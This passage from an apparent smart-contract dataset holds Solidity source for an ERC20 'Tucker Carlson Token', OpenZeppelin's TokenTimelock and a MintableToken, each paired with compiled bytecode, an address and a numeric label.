require(b > 0); c = a / b; } } contract TuckerCarlson is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "Tucker Carlson Token"; symbol = "TUCK"; decimals = 18; _totalSupply = 100000000 * 10 ** 18; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a72305820fe1003ba05fe5f5195e6b98625ea4c35b510ec351c147f2531410392980f80710029
[ 38 ]
0xf283e849f91ae85354f3714f92c9ddb0979911ae
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". */ contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private immutable _token; // beneficiary of tokens after they are released address private immutable _beneficiary; // timestamp when token release is enabled uint256 private immutable _releaseTime; constructor( IERC20 token_, address beneficiary_, uint256 releaseTime_ ) { require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time"); _token = token_; _beneficiary = beneficiary_; _releaseTime = releaseTime_; } /** * @return the token being held. */ function token() public view virtual returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view virtual returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view virtual returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time"); uint256 amount = token().balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); token().safeTransfer(beneficiary(), amount); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806338af3eed1461005157806386d1a69f1461006f578063b91d400114610079578063fc0c546a14610097575b600080fd5b6100596100b5565b6040516100669190610756565b60405180910390f35b6100776100dd565b005b61008161023a565b60405161008e9190610877565b60405180910390f35b61009f610262565b6040516100ac919061079a565b60405180910390f35b60007f0000000000000000000000002dbcf4d8275a9683be9d432782f0964e0bcafdd6905090565b6100e561023a565b421015610127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161011e906107d7565b60405180910390fd5b6000610131610262565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101699190610756565b60206040518083038186803b15801561018157600080fd5b505afa158015610195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b991906105d0565b9050600081116101fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101f590610857565b60405180910390fd5b6102376102096100b5565b82610212610262565b73ffffffffffffffffffffffffffffffffffffffff1661028a9092919063ffffffff16565b50565b60007f0000000000000000000000000000000000000000000000000000000068b494a7905090565b60007f0000000000000000000000008433536c2c89ad2af87b591309f1d61d0cfa0bea905090565b61030b8363a9059cbb60e01b84846040516024016102a9929190610771565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610310565b505050565b6000610372826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166103d79092919063ffffffff16565b90506000815111156103d2578080602001905181019061039291906105a7565b6103d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c890610837565b60405180910390fd5b5b505050565b60606103e684846000856103ef565b90509392505050565b606082471015610434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906107f7565b60405180910390fd5b61043d85610503565b61047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390610817565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516104a5919061073f565b60006040518083038185875af1925050503d80600081146104e2576040519150601f19603f3d011682016040523d82523d6000602084013e6104e7565b606091505b50915091506104f7828286610516565b92505050949350505050565b600080823b905060008111915050919050565b6060831561052657829050610576565b6000835111156105395782518084602001fd5b816040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d91906107b5565b60405180910390fd5b9392505050565b60008151905061058c81610ad9565b92915050565b6000815190506105a181610af0565b92915050565b6000602082840312156105b957600080fd5b60006105c78482850161057d565b91505092915050565b6000602082840312156105e257600080fd5b60006105f084828501610592565b91505092915050565b610602816108c4565b82525050565b600061061382610892565b61061d81856108a8565b935061062d818560208601610930565b80840191505092915050565b6106428161090c565b82525050565b60006106538261089d565b61065d81856108b3565b935061066d818560208601610930565b61067681610963565b840191505092915050565b600061068e6032836108b3565b915061069982610974565b604082019050919050565b60006106b16026836108b3565b91506106bc826109c3565b604082019050919050565b60006106d4601d836108b3565b91506106df82610a12565b602082019050919050565b60006106f7602a836108b3565b915061070282610a3b565b604082019050919050565b600061071a6023836108b3565b915061072582610a8a565b604082019050919050565b61073981610902565b82525050565b600061074b8284610608565b915081905092915050565b600060208201905061076b60008301846105f9565b92915050565b600060408201905061078660008301856105f9565b6107936020830184610730565b9392505050565b60006020820190506107af6000830184610639565b92915050565b600060208201905081810360008301526107cf8184610648565b905092915050565b600060208201905081810360008301526107f081610681565b9050919050565b60006020820190508181036000830152610810816106a4565b9050919050565b60006020820190508181036000830152610830816106c7565b9050919050565b60006020820190508181036000830152610850816106ea565b9050919050565b600060208201905081810360008301526108708161070d565b9050919050565b600060208201905061088c6000830184610730565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006108cf826108e2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109178261091e565b9050919050565b6000610929826108e2565b9050919050565b60005b8381101561094e578082015181840152602081019050610933565b8381111561095d576000848401525b50505050565b6000601f19601f8301169050919050565b7f546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206260008201527f65666f72652072656c656173652074696d650000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c6560008201527f6173650000000000000000000000000000000000000000000000000000000000602082015250565b610ae2816108d6565b8114610aed57600080fd5b50565b610af981610902565b8114610b0457600080fd5b5056fea2646970667358221220cb8df1ed29532b12d3c62d8c5300a92d35fb74e974708ea51f4b1dd5a7ae6bfd64736f6c63430008040033
[ 38 ]
0xf2840d41288934cd7e1489ffdc4d9f0d5199ebe2
pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } 